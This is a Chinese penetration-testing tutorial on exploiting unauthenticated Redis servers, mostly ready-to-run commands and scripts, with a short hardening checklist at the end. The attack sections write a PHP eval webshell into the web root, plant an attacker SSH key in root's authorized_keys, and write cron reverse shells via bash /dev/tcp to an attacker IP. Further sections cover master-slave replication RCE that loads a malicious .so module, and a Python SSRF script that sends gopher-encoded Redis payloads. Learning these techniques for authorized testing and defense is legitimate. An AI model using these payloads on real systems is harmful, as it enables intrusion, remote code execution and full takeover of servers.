1. 程式人生 > 其它 >滲透測試-31:Redis

滲透測試-31:Redis

基礎知識

  • 埠號:6379

  • sentinel.conf 埠號:26379

  • 官網:https://redis.io/docs/getting-started/installation/install-redis-on-windows/

  • Kali 安裝 redis

    # 解除安裝
    apt-get purge --auto-remove redis-server
    
    # 安裝
    apt install gcc make
    wget http://download.redis.io/releases/redis-3.2.0.tar.gz
    tar -zxvf redis-3.2.0.tar.gz
    rm redis-3.2.0.tar.gz
    cd redis-3.2.0/
    make
    
    # 配置
    vim redis.conf
    bind 127.0.0.1 										# 註釋這行語句,代表任意機器都可以登入 redis
    protected-mode 										# 設為 no,代表關閉安全設定
    cp redis.conf ./src/redis.conf
    ./src/redis-server redis.conf 						# 啟動redis-server										
    export PATH=/root/Desktop/redis-3.2.0/src:$PATH		# 新增環境變數
    netstat -ntulp										# 檢查服務
    
  • Ubuntu for Windows 安裝 redis

    apt-add-repository ppa:redislabs/redis
    apt-get update
    apt-get upgrade
    apt-get install redis-server
    service redis-server start
    
    # 測試
    redis-cli
    127.0.0.1:6379> ping
    PONG
    
  • 連線 Redis 伺服器

    # 互動式方式
    redis-cli -h <host> -p <port>
    # 命令方式
    redis-cli -h <host> -p <port> <command>
    
  • 常見命令

    # 檢視資訊
    info
    # 刪除所有資料庫內容
    flushall
    # 重新整理資料庫
    flushdb
    # 檢視所有鍵,使用 select num 可以檢視鍵值資料
    keys *
    # 設定變數
    set test "who am i"
    # 設定路徑等配置
    config set dir dirpath
    # 獲取路徑及資料配置資訊
    config get dir/dbfilename
    # 儲存
    save
    # 變數,檢視變數名稱
    get
    

Redis未授權訪問

未授權訪問原因

  • 配置登入策略導致任意機器都可以登入 redis
  • 未設定密碼或者設定弱口令

測試

# 使用攻擊機遠端登入 redis 伺服器
redis-cli -h <redis伺服器IP>

寫入檔案getshell

  • 利用條件:

    • 未授權訪問或密碼已知
    • 伺服器開啟 WEB 服務且 WEB 目錄路徑已知
  • 寫入 webshell

    # 切換目錄到網站的根目錄
    config set dir /var/www/html/
    
    # 寫入惡意程式碼到記憶體中(1)
    set x "\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n"
    
    # 寫入惡意程式碼到記憶體中(2)
    set xx "\n\n\n<?php phpinfo();?>\n\n\n"
    
    # 在磁碟中生成木馬檔案
    config set dbfilename shell.php
    
    # 將記憶體之中的資料匯出到磁碟檔案
    save
    
  • 檢查 webshell

    • kali 開啟 apache

      # 修改 apache2 預設監聽埠號為 8080
      vim /etc/apache2/ports.conf
      
      # 在終端輸入
      /etc/init.d/apache2 start
      
    • 測試:在瀏覽器中訪問 <redis 伺服器IP>:8080/shell.php,成功回顯 phpinfo 後用蟻劍進行連線

寫入SSH公鑰遠端連線

  • 利用條件:

    • redis 以 root 身份執行
    • 未授權訪問或密碼已知
    • 伺服器開放 SSH 服務且允許金鑰登入
  • redis 伺服器開啟 ssh 服務

    /etc/init.d/ssh start
    service ssh status
    
  • 修改 redis 伺服器密碼

    # 登入 redis 伺服器
    redis-cli -h <redis伺服器IP>
    
    # 修改密碼
    config set requirepass <密碼>
    exit
    
    # 測試登入 redis 伺服器
    redis-cli -h <redis伺服器IP> -a <密碼>
    
  • 攻擊機生成 ssh-rsa 密匙

    ssh-keygen -t rsa
    
  • 將攻擊機的 ssh 金鑰寫入到 redis 伺服器的記憶體

    # 匯出 key(\n\n是為了防止亂碼)
    (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
    
    # 將生成的公鑰寫入 redis 伺服器的記憶體之中
    cat key.txt | redis-cli -h <redis伺服器IP> -a <密碼> -x set xxx
    
    # 測試
    redis-cli -h <redis伺服器IP> -a <密碼>
    keys *
    get xxx
    
  • redis 伺服器將記憶體中的 ssh 金鑰匯出檔案到磁碟(本質是更改 redis 的備份路徑)

    # 若 /root/.ssh 不存在會顯示失敗
    config set dir /root/.ssh
      
    # 設定檔名(不能改成其他的)並匯出
    config set dbfilename authorized_keys
    save
    
  • 攻擊機登入 redis 伺服器的 ssh

    # 連線
    ssh -i /root/.ssh/id_rsa root@<redis伺服器IP>
    yes
    
    # 測試
    ifconfig
    

計劃任務反彈shell

  • 利用條件:

    • redis 以 root 身份執行
    • 未授權訪問或密碼已知
  • 攻擊端開啟監聽

    nc -lvp <PORT>
    
  • 寫入一句話

    # 每分鐘執行一次
    set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/<攻擊機IP>/<PORT> 0>&1\n\n"
    
    # 設定匯出的路徑
    config set dir /var/spool/cron/				# Centos系列
    config set dir /var/spool/cron/crontabs/	# Debian/Ubuntu系列
    
    # 設定匯出檔名為 root
    config set dbfilename root
    
    # 儲存
    save
    

    或者

    # 每分鐘執行一次
    echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/<攻擊機IP>/<PORT> 0>&1\n\n" | redis-cli -h <redis伺服器IP> -a <密碼> -x set 1
    
    # 設定匯出的路徑
    redis-cli -h <redis伺服器IP> -a <密碼> config set dir /var/spool/cron/		# Centos系列
    redis-cli -h <redis伺服器IP> -a <密碼> config set dir /var/spool/crontabs/	# Debian/Ubuntu系列
    
    # 設定匯出檔名為 root
    redis-cli -h <redis伺服器IP> -a <密碼> config set dbfilename root
    
    # 儲存
    redis-cli -h <redis伺服器IP> -a <密碼> save
    

主從複製RCE

  • 利用條件:

    • 未授權訪問或密碼已知
    • Redis <= 5.0.5
  • 測試版本:redis-4.0.0.tar.gz

  • 原理:

    • 未授權的 redis 會導致 getshell,而這種方式是通過寫檔案來完成 getshell 的,這種方式的主要問題在於,redis 儲存的資料並不是簡單的 json 或者是 csv,所以寫入的檔案都會有大量的無用資料,利用 crontab、ssh key、webshell 這樣的檔案都有一定容錯性,再加上 crontab 和 ssh 服務可以說是伺服器的標準的服務,所以在以前,這種通過寫入檔案的 getshell 方式基本就可以說是很通殺了。

    • 但隨著現代的服務部署方式的不斷髮展,元件化成了不可逃避的大趨勢,docker 就是這股風潮下的產物之一,而在這種部署模式下,一個單一的容器中不會有除 redis 以外的任何服務存在,包括 ssh 和 crontab,再加上許可權的嚴格控制,只靠寫檔案就很難再 getshell 了,在這種情況下,我們就需要其他的利用手段了。

    • Redis 4.x、5.x 版本中,提供了主從模式,主從模式指使用一個 redis 作為主機,其他的作為備份機,主機從機資料都是一樣的,從機只負責讀,主機只負責寫。

    • Reids 4.x 之後,通過外部拓展,可以在 redis 中實現一個新的 redis 命令,構造惡意 .so 檔案。

    • 在兩個 redis 例項設定主從模式的時候,redis 的主機例項可以通過 FULLRESYNC 同步檔案到從機上,然後在從機上載入惡意 .so 檔案,即可執行命令。

    • 簡單的說,攻擊者(主機)寫一個so檔案,然後通過 FULLRESYNC(全域性)同步檔案到受害人(從機)上。

  • EXP下載:

    注意:目標靶機是不能開啟保護模式

    # 未授權
    git clone https://github.com/n0b0dyCN/redis-rogue-server
    
    # 有密碼
    git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
    
  • 反彈shell

    # 攻擊機
    nc -lvp <PORT>
    
    python3 redis_rogue_server.py -rhost <redis伺服器IP> -passwd <密碼> -lhost <本機IP>
    # 選項:i/r => <redis伺服器IP> => <PORT> => python3 -c "import pty;pty.spawn('/bin/bash')"
    

本地Redis主從複製RCE或反彈shell

  • 測試版本:redis-4.0.0.tar.gz

  • 原理:

    • 上述的原理是,目標機器的 redis 可以被遠端其他的機器登入。然後執行指令碼內寫死的一些命令,利用這些命令我們就可以執行系統命令。
    • 問題來了,假如目標機器僅僅允許本地進行登入的時候,上述利用就直接暴斃。
    • 這個時候,我們可以通過配合其他漏洞,從目標本地登入 redis。
    • 然後手動執行指令碼內寫死的一些命令(這些命令的意思是將本機(靶機)redis 作為從機,將攻擊機器設定為主機,然後攻擊機會自動將一些惡意 so 檔案同步給目標機器(從機)),從而來實現對目標機器的遠端命令執行。
  • EXP下載:

    redis-rogue-server/ 的 exp.so 檔案複製到 Awsome-Redis-Rogue-Server/ 資料夾中使用,因為 exp.so 帶 system 模組

    # 未授權
    git clone https://github.com/n0b0dyCN/redis-rogue-server
    
    # 有密碼
    git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
    
  • 攻擊機配置 Redis 主從同步

    # 開啟主伺服器
    python3 redis_rogue_server.py -v -path exp.so
    
    # 檢視是否存在模組
    module list
    
    # 一般 tmp 目錄都有寫許可權,所以選擇這個目錄寫入
    config set dir /tmp
    
    # 設定匯出檔案的名字
    config set dbfilename exp.so
    
    # 進行主從同步,將惡意 so 檔案寫入到 /tmp
    slaveof <攻擊機IP> 15000
    slaveof <redis伺服器IP> 15000
    # 可看到主伺服器上 FULLRESYNC 全域性同步資料中,將惡意的 exp.so 同步到 redis 伺服器上
    
    # 檢視是否存在模組
    module list
    
    # 載入寫入的惡意 so 檔案模組
    module load ./exp.so
    
    # 檢視惡意 so 有沒有載入成功,主要是有沒有 “system”
    module list
    
  • 反彈shell

    # 方法一
    nc -lvp <PORT>
    system.rev <攻擊機IP> <PORT>
    
    # 方法二
    system.exec "<命令>"
    
  • 關閉主從同步

    slaveof NO ONE
    

通過SSRF反彈shell

知識拓展

RESP協議

  • 定義:

    • redis 客戶端與服務端通訊,使用 RESP(Redis Serialization Protocal,redis 序列化協議)協議通訊,該協議是專門為 redis 設計的通訊協議,但也可以用於其它 客戶端-伺服器 通訊的場景。
    • RESP 可以用於序列化不同的資料型別,客戶端傳送請求時,以字串陣列作為待執行命令的引數。
    • 在 Redis 中,協議資料分為不同的型別,每種型別的資料均以 CRLF(\r\n 換行符)結束,通過資料的首字元區分型別。
  • RESP 協議支援的資料型別:

    • 內聯命令(inline command):這類資料表示 Redis 命令,首字元為 Redis 命令的字元,格式為 str1 str2 str3 …。如:exists key1, 命令和引數以空格分隔。
    • 簡單字串(Simple Strings):首字元為 +,後續字元為 string 的內容,且該 string 不能包含 \r 或者 \n 兩個字元,最後以 \r\n 結束。如:+OK\r\n,表示 OK 這個 string 資料。
    • 批量字串(Bulk Strings)
      • bulk string 首字元為 $,緊跟著的是 string 資料的長度,\r\n 後面是內容本身(包含 \r\n 等特殊字元),最後以 \r\n 結束。如:$12\r\nhello\r\nworld\r\n
      • 上面位元組串描述了 hello\r\nworld 的內容(中間有個換行)。對於 " " 空串和 null,通過 $ 之後的數字進行區分:$0\r\n\r\n 表示空串;$-1\r\n 表示 null
    • 整數(Integers):以 : 開頭,後面跟著整型內容,最後以 \r\n 結尾。如::13\r\n,表示 13 的整數。
    • 陣列(Arrays)
      • * 開頭,緊跟著陣列的長度,\r\n 之後是每個元素的序列化資料。如:*2\r\n+abc\r\n:9\r\n 表示一個長度為 2 的陣列:["abc", 9]。陣列長度為 0-1 分別表示 空陣列null
      • 陣列的元素本身也可以是陣列,多級陣列是樹狀結構,採用先序遍歷的方式序列化。如:[[1, 2], ["abc"]],序列化為:*2\r\n*2\r\n:1\r\n:2\r\n*1\r\n+abc\r\n
    • 錯誤資料(Errors)
    *3 		# 代表陣列的長度,如:["set","name","Toki"]
    $4 		# 代表字串的長度,如:"Toki"
    0d0a 	# 即 \r\n 表示 linux 的換行符
    +OK 	# 表示服務端執行成功後返回的字串
    

Gopher協議

  • 定義:在 http 出現之前,訪問網頁需要輸入的是 gopher://gopher.baidu.com/,而不是 https://www.baidu.com/,而它被代替的原因一方面是收費,另一方面的原因是它固化的結構沒有 HTML 網頁靈活。gopher 協議支援 GET&POST 請求,常用於攻擊內網 ftp、redis、telnet、smtp 等服務,還可以利用 gopher 協議訪問 redis 反彈 shell

  • 協議格式:gopher://<IP>:<port>/_<TCP/IP資料流><port> 預設為 70

  • 協議的實現:gopher 會將後面的資料部分發送給相應的埠,這些資料可以是字串,也可以是其他的資料請求包,比如 GET、POST 請求,redis,mysql 未授權訪問等,同時資料部分必須要進行 url 編碼,這樣 gopher 協議才能正確解析。

  • 支援 gopher 協議的有 curl 和 libcurl

    # nc 監聽
    nc -lvp <PORT>
    
    # 使用 curl 來發起 Gopher 請求
    curl gopher://<IP>:<PORT>/_hello
    
    # 傳送 http get 請求,get.php 中寫入 <?php echo "Hello"." ".$_GET['name']."\n"?>
    curl gopher://<IP>:<PORT>/_GET%20/get.php%3fname=Toki%20HTTP/1.1%0d%0aHost:%20<IP>%0d%0a
    
    # 傳送 http post 請求,post.php 中寫入 <?php echo "Hello".$_POST['name']."\n";?>
    curl gopher://<IP>:<PORT>/_POST%20/post.php%20HTTP/1.1%0d%0AHost:<IP>%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:11%0d%0a%0d%0aname=Toki%0d%0a
    
  • gopher 語句生成工具:https://github.com/tarunkant/Gopherus

    gopherus --exploit redis
    # 選項:phpshell => /var/www/html => <?php echo "hello world"; ?>
    
  • 線上靶場:https://buuoj.cn/

漏洞復現

  • 目標靶機:get.php

    <?php
    $url = $_GET['url'];
    echo $url;
    #var_dump(curl_version());
    $curlobj = curl_init($url);
    echo curl_exec($curlobj);
    ?>
    
  • 攻擊機 nc 監聽

    nc -lvp <PORT>
    
  • 攻擊機執行指令碼

    #!/usr/bin/python
    # -*- coding: UTF-8 -*-
    import urllib2,urllib
    
    url = "http://<目標靶機IP>/get.php?url="
    gopher = "gopher://<目標靶機IP>:6379/_"
    
    # 攻擊指令碼,5 個星號代表每分鐘執行一次
    data = """"set xxx "\\n* * * * * root bash -i >& /dev/tcp/<攻擊機IP>/<PORT>  0>&1\\n"
    config set dir /etc/
    config set dbfilename crontab
    save
    """
    
    def encoder_url(data):
        encoder = ""
        for single_char in data:
            # 先轉為ASCII
            encoder += str(hex(ord(single_char)))
        encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
        return encoder
    
    # 二次編碼
    encoder = encoder_url(encoder_url(data))
    
    # 生成 payload
    payload = url + urllib.quote(gopher,'utf-8') + encoder
    
    # 發起請求
    request = urllib2.Request(payload)
    response = urllib2.urlopen(request).read()
    

Redis全防護

Redis 的安全設定(設定完後需要重載入配置檔案啟動 redis)

  1. 繫結內網 IP 地址進行訪問
  2. requirepass 設定 redis 密碼
  3. 開啟保護模式 protected-mode(預設開啟)
  4. 修改預設埠
  5. 單獨為 redis 設定一個普通賬號以低許可權執行 Redis 服務
  6. 禁止一些高危命令
  7. 禁止外網訪問 Redis
  8. 設定防火牆策略
  9. 保證 authorized_keys 檔案的安全